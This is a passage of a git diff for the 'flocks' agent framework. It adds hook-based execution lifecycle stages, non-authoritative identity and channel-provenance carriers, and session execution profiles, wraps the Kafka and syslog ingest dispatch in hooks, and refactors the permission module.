bound_session and bound_session.status == "active": @@ -323,6 +364,7 @@ async def resolve_or_create( session_id = await self._create_session( msg, default_agent=default_agent, + visible_agents=allowed_agents, directory=directory, source_session=replaced_session, ) @@ -590,6 +632,7 @@ def _row_to_binding(row) -> SessionBinding: async def _create_session( msg: InboundMessage, default_agent: Optional[str] = None, + visible_agents: Optional[list[str]] = None, directory: Optional[str] = None, source_session=None, ) -> str: @@ -612,6 +655,35 @@ async def _create_session( agent=default_agent, **owner_kwargs, ) + try: + from flocks.hooks.pipeline import HookPipeline + from flocks.session.execution_profile import ( + get_session_execution_profile, + upsert_session_execution_profile, + ) + + await upsert_session_execution_profile( + session.id, + patch={ + "entry": "channel", + "channel_id": msg.channel_id, + "account_id": msg.account_id, + "visible_agents": [a for a in (visible_agents or []) if str(a).strip()], + "default_agent": str(default_agent or session.agent or "").strip(), + }, + source="channel.binding.create", + ) + profile = await get_session_execution_profile(session.id) + await HookPipeline.run_action_before( + { + "operation": "session.mode.initialize", + "session_id": session.id, + "entry": "channel", + "session_execution_profile": profile or {}, + } + ) + except Exception: + pass return session.id diff --git a/flocks/cli/main.py b/flocks/cli/main.py index 45981f2b5..829b0ddff 100644 --- a/flocks/cli/main.py +++ b/flocks/cli/main.py @@ -479,10 +479,11 @@ def tui( if _ensure_server_api_token(): console.print("[dim]Initialized local API token for TUI access[/dim]") - # Set auto-approve environment variable for TUI mode if auto_approve: env["FLOCKS_AUTO_APPROVE"] = "true" - console.print("[dim]Auto-approve enabled: All permissions will be automatically granted[/dim]") + console.print( + "[dim]Auto-approve enabled: all permissions will be automatically granted[/dim]" + ) server_process = subprocess.Popen( resolve_flocks_cli_command() + [ diff --git a/flocks/config/config.py b/flocks/config/config.py index 684156edf..0f63e1d13 100644 --- a/flocks/config/config.py +++ b/flocks/config/config.py @@ -548,8 +548,25 @@ class ChannelConfig(BaseModel): """ model_config = {"extra": "allow", "populate_by_name": True} + @model_validator(mode="before") + @classmethod + def discard_removed_role_field(cls, data: Any) -> Any: + """Ignore removed legacy role data while loading existing config files. + + New API writes reject the field explicitly. Dropping it here allows an + existing on-disk config to boot once and removes it on the next save + without interpreting it as authorization. + """ + if not isinstance(data, dict): + return data + normalized = dict(data) + normalized.pop("role", None) + normalized.pop("permissionMode", None) + return normalized + enabled: bool = False default_agent: Optional[str] = Field(None, alias="defaultAgent") + visible_agents: Optional[List[str]] = Field(None, alias="visibleAgents") dm_policy: Optional[str] = Field(None, alias="dmPolicy") group_trigger: Optional[str] = Field("mention", alias="groupTrigger") allow_from: Optional[List[str]] = Field(None, alias="allowFrom") diff --git a/flocks/config/config_writer.py b/flocks/config/config_writer.py index 51129ba11..6c07317fd 100644 --- a/flocks/config/config_writer.py +++ b/flocks/config/config_writer.py @@ -188,6 +188,15 @@ def _write_raw( Config.clear_cache() except Exception: pass + try: + from flocks.channel.inbound.dispatcher import invalidate_channel_config_cache + + channels = data.get("channels") + if isinstance(channels, dict): + for channel_id in channels: + invalidate_channel_config_cache(str(channel_id)) + except Exception: + pass log.debug("config_writer.written", {"path": str(path)}) diff --git a/flocks/hooks/execution.py b/flocks/hooks/execution.py new file mode 100644 index 000000000..383083f68 --- /dev/null +++ b/flocks/hooks/execution.py @@ -0,0 +1,351 @@ +"""Generic lifecycle adapter for extension-provided execution controls.""" + +from __future__ import annotations + +from collections.abc import Awaitable, Callable, Mapping +from contextlib import contextmanager +from contextvars import ContextVar +from dataclasses import dataclass, field +from typing import Any, TypeVar + +from flocks.hooks.pipeline import HookContext, HookPipeline +from flocks.identity import Subject, reset_current_subject, set_current_subject + + +T = TypeVar("T") +StageRunner = Callable[[dict[str, Any]], Awaitable[HookContext]] +SubjectSink = Callable[[Subject], None] +ContextSink = Callable[[dict[str, Any]], None] + + +@dataclass(eq=False, slots=True) +class ExecutionLifecycleScope: + """Opaque, generic correlation scope for one nested execution lifetime. + + The scope carries no authorization semantics. It lets extensions pair + their own setup and cleanup across nested generic lifecycle adapters + without relying on hook output that another extension may replace. + """ + + parent: ExecutionLifecycleScope | None + cleanup_callbacks: list[Callable[[], None]] = field(default_factory=list) + closed: bool = False + + +_current_execution_lifecycle_scope: ContextVar[ExecutionLifecycleScope | None] = ( + ContextVar("flocks_execution_lifecycle_scope", default=None) +) + +# Extension-provided context is a neutral, opaque carrier. Flocks never +# assigns policy meaning to its keys or values; it only keeps the paired +# before-stage context available while an effect creates child work. +_current_execution_context: ContextVar[dict[str, Any]] = ContextVar( + "flocks_execution_context", default={} +) + + +def current_execution_lifecycle_scope() -> ExecutionLifecycleScope | None: + """Return the opaque scope for the current generic execution, if any.""" + return _current_execution_lifecycle_scope.get() + + +def current_execution_context() -> dict[str, Any]: + """Return a copy of the current opaque execution context carrier.""" + return dict(_current_execution_context.get()) + + +@contextmanager +def execution_context_scope( + context: Mapping[str, Any] | None, + *, + inherit: bool = True, +): + """Temporarily expose extension-owned context as an opaque carrier. + + This adapter intentionally neither validates nor interprets the mapping. + It allows an ingress hook to associate opaque state with child work after + the authentication effect itself has completed. Set ``inherit=False`` at + an ownership boundary so one request's opaque context cannot authorize + unrelated queued work. + """ + inherited = current_execution_context() if inherit else {} + supplied = dict(context) if isinstance(context, Mapping) else {} + token = _current_execution_context.set({**inherited, **supplied}) + try: + yield + finally: + _current_execution_context.reset(token) + + +def is_execution_lifecycle_scope_active(scope: object) -> bool: + """Whether an opaque scope is an ancestor of the current execution.""" + if not isinstance(scope, ExecutionLifecycleScope): + return False + current = current_execution_lifecycle_scope() + matched = False + while current is not None: + if current.closed: + return False + if current is scope: + matched = True + current = current.parent + return matched + + +def register_execution_lifecycle_cleanup(callback: Callable[[], None]) -> bool: + """Register generic best-effort cleanup when the current scope exits.""" + scope = current_execution_lifecycle_scope() + if scope is None: + return False + scope.cleanup_callbacks.append(callback) + return True + + +@contextmanager +def execution_lifecycle_scope(*, reuse_current: bool = False): + """Provide a neutral execution scope, optionally reusing an outer scope.""" + existing = current_execution_lifecycle_scope() + if reuse_current and existing is not None: + yield existing + return + + scope = ExecutionLifecycleScope(parent=existing) + token = _current_execution_lifecycle_scope.set(scope) + try: + yield scope + finally: + # Tasks spawned inside this scope inherit its ContextVar value. The + # shared closed flag makes an inherited scope inert once its owner has + # exited, even though that child task holds an older Context snapshot. + scope.closed = True + for callback in reversed(scope.cleanup_callbacks): + try: + callback() + except Exception: + # Generic cleanup is isolated; extension-specific failure + # handling belongs to the extension that registered it. + continue + _current_execution_lifecycle_scope.reset(token) + + +class ExecutionStopped(RuntimeError): + """Raised when a lifecycle hook requests that an operation stop.""" + + +def raise_if_execution_stopped(ctx: HookContext) -> None: + """Apply the one built-in lifecycle control without interpreting hook data.""" + error = execution_stop_error(ctx) + if error is not None: + raise error + + +def execution_stop_error(ctx: HookContext) -> ExecutionStopped | None: + """Return the generic stop error requested by a lifecycle hook, if any.""" + if ctx.execution_stop_requested: + return ExecutionStopped( + ctx.execution_stop_detail or "operation stopped by extension" + ) + execution = ctx.output.get("execution") + if not isinstance(execution, dict) or execution.get("stop") is not True: + return None + detail = execution.get("detail") + message = str(detail) if detail is not None else "operation stopped by extension" + return ExecutionStopped(message) + + +def subject_from_hook_context(ctx: HookContext) -> Subject | None: + """Read opaque context metadata without interpreting it as authorization. + + Any hook can provide this structurally valid value. Flocks deliberately + does not assign hook trust or interpret role, tenant, permission, or other + attributes; the carrier is limited to execution-local observability and + invocation context. + """ + + context = ctx.output.get("context") + if not isinstance(context, Mapping): + return None + value = context.get("subject") + if not isinstance(value, Mapping): + return None + try: + return Subject.model_validate(value) + except Exception: + return None + + +def _terminal_outcome( + status: str, + *, + executed: bool, + error: BaseException | None = None, +) -> dict[str, Any]: + """Return neutral terminal facts without exposing an effect result body.""" + outcome: dict[str, Any] = { + "status": status, + "success": status == "success", + "executed": executed, + } + if error is not None: + outcome["error_type"] = type(error).__name__ + return outcome + + +async def execute_with_hooks( + payload: dict[str, Any], + effect: Callable[[], Awaitable[T]], + *, + before: StageRunner | None = None, + after: StageRunner | None = None, + subject_sink: SubjectSink | None = None, + context_sink: ContextSink | None = None, + reuse_execution_scope: bool = False, +) -> T: + """Run an operation between generic before/after lifecycle stages.""" + if before is None: + before = HookPipeline.run_action_before + if after is None: + after = HookPipeline.run_action_after + with execution_lifecycle_scope(reuse_current=reuse_execution_scope): + return await _execute_with_hooks_in_scope( + payload, + effect, + before=before, + after=after, + subject_sink=subject_sink, + context_sink=context_sink, + ) + + +async def _execute_with_hooks_in_scope( + payload: dict[str, Any], + effect: Callable[[], Awaitable[T]], + *, + before: StageRunner, + after: StageRunner, + subject_sink: SubjectSink | None, + context_sink: ContextSink | None, +) -> T: + """Execute one lifecycle operation while its neutral scope is active.""" + from flocks.plugin import PluginLoader + + if PluginLoader.has_runtime_critical_entrypoint_failure(): + stopped = ExecutionStopped("critical plugin entrypoint failure") + after_ctx = await after({ + **payload, + "outcome": "stopped", + "terminal_outcome": _terminal_outcome( + "stopped", executed=False, error=stopped + ), + "error": stopped, + }) + raise_if_execution_stopped(after_ctx) + raise stopped + + try: + before_ctx = await before(payload) + except BaseException as exc: + after_ctx = await after({ + **payload, + "outcome": "error", + "terminal_outcome": _terminal_outcome( + "error", executed=False, error=exc + ), + "error": exc, + }) + raise_if_execution_stopped(after_ctx) + raise + stopped = execution_stop_error(before_ctx) + before_context = before_ctx.output.get("context") + inherited_context = current_execution_context() + effective_context = ( + {**inherited_context, **before_context} + if isinstance(before_context, Mapping) + else inherited_context + ) + + def _after_payload(data: dict[str, Any]) -> dict[str, Any]: + """Carry opaque hook context to the paired after lifecycle stage.""" + if not isinstance(before_context, Mapping): + return data + existing_context = data.get("context") + if isinstance(existing_context, Mapping): + return { + **data, + "context": {**existing_context, **before_context}, + } + return {**data, "context": before_context} + + if stopped is not None: + after_ctx = await after( + _after_payload({ + **payload, + "outcome": "stopped", + "terminal_outcome": _terminal_outcome( + "stopped", executed=False, error=stopped + ), + "error": stopped, + }) + ) + raise_if_execution_stopped(after_ctx) + raise stopped + + subject = subject_from_hook_context(before_ctx) + if subject is not None and subject_sink is not None: + subject_sink(subject) + subject_token = set_current_subject(subject) if subject is not None else None + context_token = _current_execution_context.set(effective_context) + try: + result = await effect() + except Exception as exc: + if subject_token is not None: + reset_current_subject(subject_token) + _current_execution_context.reset(context_token) + after_ctx = await after( + _after_payload({ + **payload, + "outcome": "error", + "terminal_outcome": _terminal_outcome( + "error", executed=True, error=exc + ), + "error": exc, + }) + ) + raise_if_execution_stopped(after_ctx) + raise + except BaseException as exc: + if subject_token is not None: + reset_current_subject(subject_token) + _current_execution_context.reset(context_token) + after_ctx = await after( + _after_payload({ + **payload, + "outcome": "error", + "terminal_outcome": _terminal_outcome( + "error", executed=True, error=exc + ), + "error": exc, + }) + ) + raise_if_execution_stopped(after_ctx) + raise + + if subject_token is not None: + reset_current_subject(subject_token) + _current_execution_context.reset(context_token) + after_ctx = await after( + _after_payload({ + **payload, + "outcome": "success", + "terminal_outcome": _terminal_outcome("success", executed=True), + "result": result, + }) + ) + raise_if_execution_stopped(after_ctx) + after_subject = subject_from_hook_context(after_ctx) + if after_subject is not None and subject_sink is not None: + subject_sink(after_subject) + after_context = after_ctx.output.get("context") + if isinstance(after_context, Mapping) and context_sink is not None: + context_sink(dict(after_context)) + return result diff --git a/flocks/hooks/pipeline.py b/flocks/hooks/pipeline.py index 47ecd0d7c..93fecdb7c 100644 --- a/flocks/hooks/pipeline.py +++ b/flocks/hooks/pipeline.py @@ -39,8 +39,17 @@ class HookStage: TURN_FINISH = "turn.finish" SUBAGENT_START = "subagent.start" SUBAGENT_STOP = "subagent.stop" + INGRESS_BEFORE = "ingress.before" + INGRESS_AFTER = "ingress.after" + ACTION_BEFORE = "action.before" + ACTION_AFTER = "action.after" + CAPABILITY_FILTER = "capability.filter" + SESSION_CHILD_BEFORE = "session.child.before" + SESSION_CHILD_AFTER = "session.child.after" EVENT = "event" CHANNEL_INBOUND = "channel.inbound" + CHANNEL_WEBHOOK_BEFORE = "channel.webhook.before" + CHANNEL_WEBHOOK_AFTER = "channel.webhook.after" CHANNEL_OUTBOUND_BEFORE = "channel.outbound.before" CHANNEL_OUTBOUND_AFTER = "channel.outbound.after" @@ -55,7 +64,16 @@ class HookStage: HookStage.TURN_FINISH: 5.0, HookStage.SUBAGENT_START: 5.0, HookStage.SUBAGENT_STOP: 5.0, + HookStage.INGRESS_BEFORE: 5.0, + HookStage.INGRESS_AFTER: 5.0, + HookStage.ACTION_BEFORE: 5.0, + HookStage.ACTION_AFTER: 5.0, + HookStage.CAPABILITY_FILTER: 5.0, + HookStage.SESSION_CHILD_BEFORE: 5.0, + HookStage.SESSION_CHILD_AFTER: 5.0, HookStage.CHANNEL_INBOUND: 5.0, + HookStage.CHANNEL_WEBHOOK_BEFORE: 5.0, + HookStage.CHANNEL_WEBHOOK_AFTER: 5.0, HookStage.CHANNEL_OUTBOUND_BEFORE: 5.0, HookStage.CHANNEL_OUTBOUND_AFTER: 5.0, HookStage.EVENT: 10.0, @@ -67,6 +85,12 @@ class HookContext: stage: str input: Dict[str, Any] output: Dict[str, Any] = field(default_factory=dict) + # ``output`` is deliberately shared by every hook, so it remains suitable + # for cooperative metadata. The generic execution stop, however, is a + # monotonic lifecycle control: once a hook has requested it, a later hook + # must not be able to resume the effect by replacing ``output.execution``. + execution_stop_requested: bool = False + execution_stop_detail: str | None = None class HookBase: @@ -97,12 +121,39 @@ async def subagent_start(self, ctx: HookContext) -> None: # pragma: no cover - async def subagent_stop(self, ctx: HookContext) -> None: # pragma: no cover - default no-op return None + async def ingress_before(self, ctx: HookContext) -> None: # pragma: no cover - default no-op + return None + + async def ingress_after(self, ctx: HookContext) -> None: # pragma: no cover - default no-op + return None + + async def action_before(self, ctx: HookContext) -> None: # pragma: no cover - default no-op + return None + + async def action_after(self, ctx: HookContext) -> None: # pragma: no cover - default no-op + return None + + async def capability_filter(self, ctx: HookContext) -> None: # pragma: no cover - default no-op + return None + + async def session_child_before(self, ctx: HookContext) -> None: # pragma: no cover - default no-op + return None + + async def session_child_after(self, ctx: HookContext) -> None: # pragma: no cover - default no-op + return None + async def event(self, ctx: HookContext) -> None: # pragma: no cover - default no-op return None async def channel_inbound(self, ctx: HookContext) -> None: # pragma: no cover - default no-op return None + async def channel_webhook_before(self, ctx: HookContext) -> None: # pragma: no cover - default no-op + return None + + async def channel_webhook_after(self, ctx: HookContext) -> None: # pragma: no cover - default no-op + return None + async def channel_outbound_before(self, ctx: HookContext) -> None: # pragma: no cover - default no-op return None @@ -313,6 +364,62 @@ async def run_subagent_stop( ) -> HookContext: return await cls._run_stage(HookStage.SUBAGENT_STOP, input_data, output_data) + @classmethod + async def run_ingress_before( + cls, + input_data: Dict[str, Any], + output_data: Optional[Dict[str, Any]] = None, + ) -> HookContext: + return await cls._run_stage(HookStage.INGRESS_BEFORE, input_data, output_data) + + @classmethod + async def run_ingress_after( + cls, + input_data: Dict[str, Any], + output_data: Optional[Dict[str, Any]] = None, + ) -> HookContext: + return await cls._run_stage(HookStage.INGRESS_AFTER, input_data, output_data) + + @classmethod + async def run_action_before( + cls, + input_data: Dict[str, Any], + output_data: Optional[Dict[str, Any]] = None, + ) -> HookContext: + return await cls._run_stage(HookStage.ACTION_BEFORE, input_data, output_data) + + @classmethod + async def run_action_after( + cls, + input_data: Dict[str, Any], + output_data: Optional[Dict[str, Any]] = None, + ) -> HookContext: + return await cls._run_stage(HookStage.ACTION_AFTER, input_data, output_data) + + @classmethod + async def run_capability_filter( + cls, + input_data: Dict[str, Any], + output_data: Optional[Dict[str, Any]] = None, + ) -> HookContext: + return await cls._run_stage(HookStage.CAPABILITY_FILTER, input_data, output_data) + + @classmethod + async def run_session_child_before( + cls, + input_data: Dict[str, Any], + output_data: Optional[Dict[str, Any]] = None, + ) -> HookContext: + return await cls._run_stage(HookStage.SESSION_CHILD_BEFORE, input_data, output_data) + + @classmethod + async def run_session_child_after( + cls, + input_data: Dict[str, Any], + output_data: Optional[Dict[str, Any]] = None, + ) -> HookContext: + return await cls._run_stage(HookStage.SESSION_CHILD_AFTER, input_data, output_data) + @classmethod async def run_event( cls, @@ -329,6 +436,26 @@ async def run_channel_inbound( ) -> HookContext: return await cls._run_stage(HookStage.CHANNEL_INBOUND, input_data, output_data) + @classmethod + async def run_channel_webhook_before( + cls, + input_data: Dict[str, Any], + output_data: Optional[Dict[str, Any]] = None, + ) -> HookContext: + return await cls._run_stage( + HookStage.CHANNEL_WEBHOOK_BEFORE, input_data, output_data + ) + + @classmethod + async def run_channel_webhook_after( + cls, + input_data: Dict[str, Any], + output_data: Optional[Dict[str, Any]] = None, + ) -> HookContext: + return await cls._run_stage( + HookStage.CHANNEL_WEBHOOK_AFTER, input_data, output_data + ) + @classmethod async def run_channel_outbound_before( cls, @@ -377,7 +504,9 @@ async def _run_stage( project_dir = await cls._resolve_project_dir(input_data) await cls.ensure_initialized(project_dir) ctx = HookContext(stage=stage, input=input_data, output=output_data or {}) + cls._latch_execution_stop(ctx) handler_count = 0 + deferred_critical_error: Exception | None = None for entry in cls._hooks: handler = cls._resolve_handler(entry.hook, stage) if not handler: @@ -395,7 +524,8 @@ async def _run_stage( ) else: await cls._invoke_handler(handler, ctx) - except asyncio.TimeoutError: + cls._latch_execution_stop(ctx) + except asyncio.TimeoutError as exc: duration_ms = int((time.perf_counter() - handler_started_at) * 1000) log.warning("hook.timeout", { "stage": stage, @@ -406,6 +536,9 @@ async def _run_stage( "fail_policy": entry.fail_policy.value, }) if entry.fail_policy != FailPolicy.ISOLATE: + if stage == HookStage.INGRESS_AFTER: + deferred_critical_error = deferred_critical_error or exc + continue raise except Exception as exc: log.error("hook.error", { @@ -416,14 +549,40 @@ async def _run_stage( "fail_policy": entry.fail_policy.value, }) if entry.fail_policy != FailPolicy.ISOLATE: + if stage == HookStage.INGRESS_AFTER: + deferred_critical_error = deferred_critical_error or exc + continue raise log.debug("hook.stage_complete", { "stage": stage, "handler_count": handler_count, "duration_ms": int((time.perf_counter() - stage_started_at) * 1000), }) + if deferred_critical_error is not None: + raise deferred_critical_error return ctx + @staticmethod + def _latch_execution_stop(ctx: HookContext) -> None: + """Remember a generic stop request even if later hooks mutate output. + + This is intentionally limited to the pre-existing generic + ``execution.stop`` contract. Flocks assigns no policy meaning to the + request; extensions remain responsible for deciding whether to emit + it and for supplying an opaque detail string. + """ + execution = ctx.output.get("execution") + if not isinstance(execution, dict) or execution.get("stop") is not True: + return + ctx.execution_stop_requested = True + if ctx.execution_stop_detail is None: + detail = execution.get("detail") + ctx.execution_stop_detail = ( + str(detail) + if detail is not None + else "operation stopped by extension" + ) + @classmethod def _register_plugin_extension_point(cls) -> None: """Register the HOOKS extension point with the unified plugin loader.""" @@ -463,7 +622,9 @@ def _consume_hooks(items: list, source: str) -> None: async def _invoke_handler(handler: Callable[[HookContext], Awaitable[None]], ctx: HookContext) -> None: result = handler(ctx) if inspect.isawaitable(result): - await result + result = await result + if isinstance(result, dict): + ctx.output.update(result) @staticmethod def _resolve_handler(hook: HookBase, stage: str) -> Optional[Callable[[HookContext], Awaitable[None]]]: @@ -477,8 +638,17 @@ def _resolve_handler(hook: HookBase, stage: str) -> Optional[Callable[[HookConte HookStage.TURN_FINISH: "turn_finish", HookStage.SUBAGENT_START: "subagent_start", HookStage.SUBAGENT_STOP: "subagent_stop", + HookStage.INGRESS_BEFORE: "ingress_before", + HookStage.INGRESS_AFTER: "ingress_after", + HookStage.ACTION_BEFORE: "action_before", + HookStage.ACTION_AFTER: "action_after", + HookStage.CAPABILITY_FILTER: "capability_filter", + HookStage.SESSION_CHILD_BEFORE: "session_child_before", + HookStage.SESSION_CHILD_AFTER: "session_child_after", HookStage.EVENT: "event", HookStage.CHANNEL_INBOUND: "channel_inbound", + HookStage.CHANNEL_WEBHOOK_BEFORE: "channel_webhook_before", + HookStage.CHANNEL_WEBHOOK_AFTER: "channel_webhook_after", HookStage.CHANNEL_OUTBOUND_BEFORE: "channel_outbound_before", HookStage.CHANNEL_OUTBOUND_AFTER: "channel_outbound_after", }.get(stage) diff --git a/flocks/identity/__init__.py b/flocks/identity/__init__.py new file mode 100644 index 000000000..bb4e123c9 --- /dev/null +++ b/flocks/identity/__init__.py @@ -0,0 +1,23 @@ +from flocks.identity.entry import ( + ChannelIngressProvenance, + Entry, + mint_channel_ingress_provenance, + verify_channel_ingress_provenance, +) +from flocks.identity.subject import ( + Subject, + get_current_subject, + reset_current_subject, + set_current_subject, +) + +__all__ = [ + "Entry", + "ChannelIngressProvenance", + "Subject", + "get_current_subject", + "reset_current_subject", + "set_current_subject", + "mint_channel_ingress_provenance", + "verify_channel_ingress_provenance", +] diff --git a/flocks/identity/entry.py b/flocks/identity/entry.py new file mode 100644 index 000000000..b0451a480 --- /dev/null +++ b/flocks/identity/entry.py @@ -0,0 +1,90 @@ +from __future__ import annotations + +from dataclasses import dataclass +from enum import Enum +from typing import Mapping +from weakref import WeakKeyDictionary + + +class Entry(str, Enum): + """Neutral labels for the transport that initiated an operation.""" + + WEBUI = "webui" + API = "api" + CLI = "cli" + TUI = "tui" + CHANNEL = "channel" + HEADLESS = "headless" + ACP = "acp" + UNKNOWN = "unknown" + + +@dataclass(frozen=True, slots=True, eq=False, weakref_slot=True) +class ChannelIngressProvenance: + """Neutral, runtime-only binding issued for a Gateway-delivered message. + + This is not an authorization decision or an identity claim. Its opaque + registry membership lets an extension distinguish a payload constructed by + the Channel Gateway from a JSON/body field with the same shape. + """ + + entry: str + channel_id: str + account_id: str + message_id: str + sender_id: str + chat_type: str + + +_channel_ingress_bindings: WeakKeyDictionary[ChannelIngressProvenance, tuple[object, object]] = WeakKeyDictionary() + + +def mint_channel_ingress_provenance( + *, + channel_id: str, + account_id: str, + message_id: str, + sender_id: str, + chat_type: str, + message: object, + evidence: object, +) -> ChannelIngressProvenance: + """Mint the neutral gateway provenance carrier for one inbound message. + + The factory deliberately binds the exact runtime message/evidence objects; + callers cannot reproduce that binding by serializing or embedding fields + in a message body. GatewayManager is its sole production caller. + """ + + provenance = ChannelIngressProvenance( + entry=Entry.CHANNEL.value, + channel_id=channel_id, + account_id=account_id, + message_id=message_id, + sender_id=sender_id, + chat_type=chat_type, + ) + _channel_ingress_bindings[provenance] = (message, evidence) + return provenance + + +def verify_channel_ingress_provenance( + payload: Mapping[str, object], +) -> ChannelIngressProvenance | None: + """Return a Gateway-issued provenance only when its payload binding holds. + + This performs mechanical capability and object-identity checks only. It + does not interpret the resulting fields as Flocks authentication, + authorization, role, tenant, or policy data. + """ + + provenance = payload.get("provenance") + if not isinstance(provenance, ChannelIngressProvenance): + return None + binding = _channel_ingress_bindings.get(provenance) + if binding is None: + return None + message, evidence = binding + if payload.get("message") is not message or payload.get("evidence") is not evidence: + return None + return provenance diff --git a/flocks/identity/subject.py b/flocks/identity/subject.py new file mode 100644 index 000000000..3b065651b --- /dev/null +++ b/flocks/identity/subject.py @@ -0,0 +1,46 @@ +from __future__ import annotations + +import contextvars +from typing import Any + +from pydantic import BaseModel, Field + + +class Subject(BaseModel): + """Opaque caller metadata supplied by an entrypoint or extension. + + This carrier is deliberately not an authorization principal in Flocks: + hooks may populate it for tracing, audit, and downstream invocation + context, but its fields and attributes grant no role, permission, tenant, + or policy authority. Authorization owners must obtain and validate their + own inputs; Flocks does not maintain a trusted-hook allowlist here. + """ + + subject_id: str + subject_type: str + display_name: str | None = None + attributes: dict[str, Any] = Field(default_factory=dict) + + +_current_subject: contextvars.ContextVar[Subject | None] = contextvars.ContextVar( + "current_subject", + default=None, +) + + +def set_current_subject(subject: Subject | None) -> contextvars.Token[Subject | None]: + """Bind opaque, non-authoritative caller metadata to this execution.""" + + return _current_subject.set(subject) + + +def reset_current_subject(token: contextvars.Token[Subject | None]) -> None: + """Restore the subject context that preceded a binding.""" + + _current_subject.reset(token) + + +def get_current_subject() -> Subject | None: + """Return opaque, non-authoritative caller metadata for this execution.""" + + return _current_subject.get() diff --git a/flocks/ingest/kafka/manager.py b/flocks/ingest/kafka/manager.py index 78c2c305e..211d54777 100644 --- a/flocks/ingest/kafka/manager.py +++ b/flocks/ingest/kafka/manager.py @@ -28,6 +28,8 @@ from dataclasses import dataclass from typing import Any, Dict, Iterable, List, Optional +from flocks.hooks.execution import execute_with_hooks +from flocks.hooks.pipeline import HookPipeline from flocks.utils.log import Log from flocks.workflow.execution_store import ( DEFAULT_LARGE_LIST_KEYS, @@ -852,10 +854,33 @@ async def _executor(mapped_inputs: Dict[str, Any]) -> Dict[str, Any]: return exec_data try: - await self._dispatcher.dispatch( - trigger=trigger, - event=event, - executor=_executor, + action_payload = { + "operation": "workflow.trigger.kafka", + "workflow_id": workflow_id, + "trigger": trigger, + "event": event, + "metadata": { + "legacy_compat": True, + "trigger_type": "kafka", + }, + } + await execute_with_hooks( + { + **action_payload, + "transport": "headless", + "entry": "kafka", + "legacy_compat": True, + }, + lambda: execute_with_hooks( + action_payload, + lambda: self._dispatcher.dispatch( + trigger=trigger, + event=event, + executor=_executor, + ), + ), + before=HookPipeline.run_ingress_before, + after=HookPipeline.run_ingress_after, ) except TriggerDispatchError as exc: log.warning( diff --git a/flocks/ingest/syslog/manager.py b/flocks/ingest/syslog/manager.py index 184621f57..9dfc8ffb7 100644 --- a/flocks/ingest/syslog/manager.py +++ b/flocks/ingest/syslog/manager.py @@ -8,6 +8,8 @@ import uuid from typing import Any, Dict, List +from flocks.hooks.execution import execute_with_hooks +from flocks.hooks.pipeline import HookPipeline from flocks.utils.log import Log from flocks.workflow.execution_store import ( compact_outputs_for_storage, @@ -698,10 +700,33 @@ async def _executor(mapped_inputs: Dict[str, Any]) -> Dict[str, Any]: return exec_data try: - await self._dispatcher.dispatch( - trigger=trigger, - event=event, - executor=_executor, + action_payload = { + "operation": "workflow.trigger.syslog", + "workflow_id": workflow_id, + "trigger": trigger, + "event": event, + "metadata": { + "legacy_compat": True, + "trigger_type": "syslog", + }, + } + await execute_with_hooks( + { + **action_payload, + "transport": "headless", + "entry": "syslog", + "legacy_compat": True, + }, + lambda: execute_with_hooks( + action_payload, + lambda: self._dispatcher.dispatch( + trigger=trigger, + event=event, + executor=_executor, + ), + ), + before=HookPipeline.run_ingress_before, + after=HookPipeline.run_ingress_after, ) except TriggerDispatchError as exc: log.warning( diff --git a/flocks/permission/__init__.py b/flocks/permission/__init__.py index 26136667e..e14a1ccf2 100644 --- a/flocks/permission/__init__.py +++ b/flocks/permission/__init__.py @@ -1,781 +1,16 @@ -""" -Permission management module. - -Unified permission system for agent and session operations. -""" +"""Permission data types and neutral confirmation transport.""" +from flocks.permission.helpers import Ruleset, from_config, merge +from flocks.permission.interactive import legacy_tool_permission_prompt_required +from flocks.permission.manager import Permission, PermissionManager +from flocks.permission.next import DeniedError, PermissionNext, PermissionRequestInfo from flocks.permission.rule import ( PermissionLevel, - PermissionScope, - PermissionRule, PermissionRequest, PermissionResult, + PermissionRule, + PermissionScope, ) -from flocks.permission.manager import PermissionManager, Permission -from flocks.permission.helpers import Ruleset, from_config, merge -from flocks.permission.next import PermissionNext, PermissionRequestInfo, DeniedError - -__all__ = [ - "Permission", - "PermissionManager", - "PermissionLevel", - "PermissionScope", - "PermissionRule", - "PermissionRequest", - "PermissionResult", - "Ruleset", - "from_config", - "merge", - "PermissionRequestInfo", - "DeniedError", - "PermissionNext", -] -""" -Permission management module - -Unified permission system for agent and session operations. -""" - -import asyncio -from enum import Enum -from typing import Optional, Dict, Any, List, Set, Union, Callable, Awaitable - -from pydantic import BaseModel, Field - -from flocks.utils.log import Log -from flocks.utils.id import Identifier - -log = Log.create(service="permission") - - -class PermissionLevel(str, Enum): - """Permission level for tool operations""" - ALLOW = "allow" # Always allow - ASK = "ask" # Ask user before executing - DENY = "deny" # Always deny - - -class PermissionScope(str, Enum): - """Scope of a permission rule""" - GLOBAL = "global" # Applies to all files/operations - DIRECTORY = "directory" # Applies to specific directory - FILE = "file" # Applies to specific file - PATTERN = "pattern" # Applies to file pattern (glob) - - -class PermissionRule(BaseModel): - """ - Permission rule definition - - Rules are evaluated in order, and the first matching rule is applied. - """ - permission: Optional[str] = None # Permission category (read, edit, etc.) - level: PermissionLevel = PermissionLevel.ASK - scope: PermissionScope = PermissionScope.GLOBAL - pattern: Optional[str] = None # Glob pattern for PATTERN scope - path: Optional[str] = None # Path for DIRECTORY or FILE scope - tools: List[str] = Field(default_factory=list) # Specific tools, empty = all - description: Optional[str] = None - - -class PermissionRequest(BaseModel): - """Request for permission check""" - tool: str - path: Optional[str] = None - operation: Optional[str] = None # read, write, execute, etc. - context: Dict[str, Any] = Field(default_factory=dict) - - -class PermissionResult(BaseModel): - """Result of permission check""" - allowed: bool - level: PermissionLevel - rule: Optional[PermissionRule] = None - reason: Optional[str] = None - requires_confirmation: bool = False - - -class PermissionManager: - """ - Permission management for agent operations - - Manages permission rules and checks for tool execution. - """ - - def __init__(self): - self._rules: List[PermissionRule] = [] - self._auto_approved: Set[str] = set() # Tool+path combinations auto-approved - self._denied: Set[str] = set() # Tool+path combinations denied - - def add_rule(self, rule: PermissionRule) -> None: - """ - Add a permission rule - - Args: - rule: Permission rule to add - """ - self._rules.append(rule) - log.info("permission.rule_added", { - "level": rule.level.value, - "scope": rule.scope.value - }) - - def remove_rule(self, index: int) -> bool: - """ - Remove a rule by index - - Args: - index: Rule index - - Returns: - True if removed - """ - if 0 <= index < len(self._rules): - self._rules.pop(index) - return True - return False - - def clear_rules(self) -> None: - """Clear all rules""" - self._rules.clear() - self._auto_approved.clear() - self._denied.clear() - - def get_rules(self) -> List[PermissionRule]: - """Get all rules""" - return self._rules.copy() - - def check(self, request: PermissionRequest) -> PermissionResult: - """ - Check permission for a request - - Args: - request: Permission request - - Returns: - 